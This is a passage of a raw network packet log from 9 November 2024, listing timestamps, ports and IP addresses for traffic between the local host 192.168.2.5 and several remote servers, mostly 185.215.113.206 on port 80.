Nov 9, 2024 22:09:48.391803026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.391819000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.391830921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.391841888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.391875029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.391936064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.392076969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392090082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392113924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392124891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392134905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392137051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.392148018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392159939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392187119 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.392187119 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.392235041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.392632008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392644882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392656088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392668009 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392680883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392689943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392702103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392713070 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.392715931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.392749071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.392749071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393073082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393085957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393095970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393107891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393158913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393170118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393179893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393179893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393179893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393194914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393208027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393222094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393246889 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393256903 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393696070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393707991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393718004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393729925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393740892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393752098 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393764019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393774986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393786907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393802881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393805981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393805981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393816948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393829107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393831968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393842936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.393857956 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393892050 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.393914938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394154072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394165993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394176960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394222975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394265890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394304037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394315958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394325972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394345045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394357920 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394371033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394382954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394382954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394382954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394395113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394407988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394418001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394429922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394443035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394443035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394443989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394459009 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.394469976 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394511938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.394511938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.395184040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.395198107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.395207882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.395214081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.395226955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.395239115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.395251036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.395270109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.395270109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.395306110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.401315928 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.401345015 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.401390076 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.401398897 CET	49911	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.401583910 CET	49911	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.401593924 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.401659012 CET	49911	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.401673079 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.401726961 CET	49911	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.401731968 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.403852940 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.403883934 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.404130936 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.404304981 CET	49924	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.404325008 CET	443	49924	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.457264900 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.457561970 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.457582951 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.458687067 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.458750010 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.459152937 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.459218979 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.459494114 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.459501982 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.461374998 CET	443	49914	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.461437941 CET	443	49914	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.461585045 CET	49914	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.461895943 CET	49914	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.461910963 CET	443	49914	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.461920977 CET	49914	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.461926937 CET	443	49914	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.464906931 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.464939117 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.465049982 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.465249062 CET	49925	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:48.465260983 CET	443	49925	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:48.507680893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.507724047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.507735014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.507771015 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.507802963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.507826090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.507839918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.507852077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.507870913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.507905960 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.507956028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508049965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508096933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508101940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508109093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508147955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508198977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508210897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508256912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508338928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508351088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508363008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508375883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508403063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508403063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508466005 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508547068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508558035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508569002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508580923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508593082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508608103 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508639097 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508639097 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508781910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508795023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508807898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508857965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508857965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.508903980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.508977890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509016991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509028912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509041071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509054899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509067059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509078979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509083033 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509092093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509103060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509119987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509129047 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509196997 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509440899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509552002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509562016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509572983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509574890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509587049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509598970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509610891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509618044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509624004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509645939 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509658098 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509682894 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.509943962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509953976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509963989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509977102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.509989977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510004044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510045052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510045052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510196924 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.510250092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510261059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510271072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510277033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510296106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510308981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510333061 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510364056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510369062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510380983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510391951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510404110 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510416985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510428905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510441065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510447025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510452986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510464907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510466099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510478973 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.510481119 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510519981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.510538101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.511241913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511260986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511272907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511282921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511293888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511306047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511326075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511327028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.511337996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511353016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.511369944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.511384964 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.511385918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.580600977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.582787991 CET	443	49915	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.583045006 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.583070993 CET	443	49915	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.583220005 CET	443	49916	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.584242105 CET	443	49915	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.584328890 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.584424019 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.584443092 CET	443	49916	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.585422039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.585469007 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.585542917 CET	443	49915	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.585886002 CET	443	49916	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.585948944 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.586271048 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.586390972 CET	443	49916	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.629885912 CET	443	49912	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:48.630172968 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.630183935 CET	443	49915	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.630215883 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.630239010 CET	443	49916	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:48.631599903 CET	49912	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:48.631622076 CET	443	49912	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:48.632211924 CET	49912	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:48.632220030 CET	443	49912	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:48.632244110 CET	49912	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:48.632256031 CET	443	49912	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:48.644598007 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.644613028 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:48.644685030 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.645251989 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.645272017 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:48.645442009 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.645883083 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.645916939 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:48.646120071 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.647725105 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.647735119 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:48.647876978 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.647886038 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:48.648238897 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:48.648257017 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:48.674171925 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.674195051 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.674252987 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.674266100 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.675291061 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.675328016 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:48.675431013 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:48.683254957 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.683362961 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:48.725511074 CET	443	49917	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.725735903 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.725744963 CET	443	49917	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.727080107 CET	443	49917	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.727149010 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.728048086 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.728100061 CET	443	49917	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.735462904 CET	443	49920	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:48.735708952 CET	49920	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:48.735724926 CET	443	49920	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:48.736763000 CET	443	49920	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:48.736845016 CET	49920	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:48.737559080 CET	443	49918	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.737833023 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.737843037 CET	443	49918	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.737945080 CET	49920	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:48.737999916 CET	443	49920	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:48.738883018 CET	443	49918	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.738957882 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.739242077 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.739301920 CET	443	49918	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.784332991 CET	49920	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:48.784336090 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.784338951 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.784343004 CET	443	49917	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.784347057 CET	443	49920	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:48.784363031 CET	443	49918	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.825109005 CET	49920	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:48.825112104 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.825114965 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:48.857538939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.857582092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.857630968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.857666969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.857666969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.857705116 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.858130932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.858201027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.858213902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.858249903 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.858249903 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.858345032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.858356953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.858371973 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.858407021 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.858423948 CET	49813	80	192.168.2.5	185.215.113.206
